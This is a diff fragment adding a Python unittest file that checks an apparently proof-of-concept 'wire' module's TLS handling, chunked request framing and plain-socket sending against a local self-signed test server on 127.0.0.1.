|
||||
os.environ.pop(key, None)
|
||||
else:
|
||||
os.environ[key] = old
|
||||
@@ -0,0 +1,108 @@
|
||||
import os
|
||||
import shutil
|
||||
import socket
|
||||
import ssl
|
||||
import subprocess
|
||||
import tempfile
|
||||
import threading
|
||||
import unittest
|
||||
|
||||
from poc import wire
|
||||
|
||||
REPLY = b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n"
|
||||
|
||||
|
||||
def make_cert(tmp):
|
||||
cert = os.path.join(tmp, "cert.pem")
|
||||
key = os.path.join(tmp, "key.pem")
|
||||
subprocess.run(
|
||||
["openssl", "req", "-x509", "-newkey", "rsa:2048", "-keyout", key, "-out", cert,
|
||||
"-days", "1", "-nodes", "-subj", "/CN=127.0.0.1"],
|
||||
check=True, capture_output=True)
|
||||
return cert, key
|
||||
|
||||
|
||||
class TlsServer:
|
||||
def __init__(self, cert, key):
|
||||
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
self.ctx.load_cert_chain(cert, key)
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self.sock.bind(("127.0.0.1", 0))
|
||||
self.sock.listen(8)
|
||||
self.port = self.sock.getsockname()[1]
|
||||
self.stop = threading.Event()
|
||||
self.thread = threading.Thread(target=self._loop, daemon=True)
|
||||
|
||||
def _loop(self):
|
||||
self.sock.settimeout(0.3)
|
||||
while not self.stop.is_set():
|
||||
try:
|
||||
conn, _ = self.sock.accept()
|
||||
except (socket.timeout, OSError):
|
||||
continue
|
||||
try:
|
||||
tls = self.ctx.wrap_socket(conn, server_side=True)
|
||||
tls.recv(65536)
|
||||
tls.sendall(REPLY)
|
||||
tls.close()
|
||||
except (ssl.SSLError, OSError):
|
||||
pass
|
||||
|
||||
def __enter__(self):
|
||||
self.thread.start()
|
||||
return self
|
||||
|
||||
def __exit__(self, *exc):
|
||||
self.stop.set()
|
||||
self.sock.close()
|
||||
self.thread.join(timeout=3)
|
||||
|
||||
|
||||
@unittest.skipUnless(shutil.which("openssl"), "openssl not available")
|
||||
class WireTlsTest(unittest.TestCase):
|
||||
@classmethod
|
||||
def setUpClass(cls):
|
||||
cls.tmp = tempfile.mkdtemp(prefix="poc-tls-")
|
||||
cls.cert, cls.key = make_cert(cls.tmp)
|
||||
|
||||
@classmethod
|
||||
def tearDownClass(cls):
|
||||
shutil.rmtree(cls.tmp, ignore_errors=True)
|
||||
|
||||
def test_https_with_insecure_returns_body(self):
|
||||
with TlsServer(self.cert, self.key) as server:
|
||||
resp = wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n",
|
||||
timeout=5, tls=True, insecure=True)
|
||||
self.assertIn(b"OK", resp)
|
||||
self.assertEqual(wire.status(resp), "HTTP/1.0 200 OK")
|
||||
|
||||
def test_https_rejects_self_signed_by_default(self):
|
||||
with TlsServer(self.cert, self.key) as server:
|
||||
with self.assertRaises(ssl.SSLError):
|
||||
wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n", timeout=5, tls=True)
|
||||
|
||||
def test_chunked_framing_survives_tls(self):
|
||||
with TlsServer(self.cert, self.key) as server:
|
||||
blob = wire.frame_chunked("/index.php", b"ABCD", "127.0.0.1:%d" % server.port, chunk=2)
|
||||
resp = wire.send("127.0.0.1", server.port, blob, timeout=5, tls=True, insecure=True)
|
||||
self.assertIn(b"OK", resp)
|
||||
self.assertIn(b"Transfer-Encoding: chunked", blob)
|
||||
|
||||
def test_plain_still_works(self):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind(("127.0.0.1", 0))
|
||||
server.listen(1)
|
||||
port = server.getsockname()[1]
|
||||
|
||||
def once():
|
||||
conn, _ = server.accept()
|
||||
conn.recv(65536)
|
||||
conn.sendall(REPLY)
|
||||
conn.close()
|
||||
server.close()
|
||||
|
||||
threading.Thread(target=once, daemon=True).start()
|
||||
resp = wire.send("127.0.0.1", port, b"GET / HTTP/1.0\r\n\r\n", timeout=5)
|
||||
self.assertIn(b"OK", resp)
|
||||
Reference in New Issue
Block a user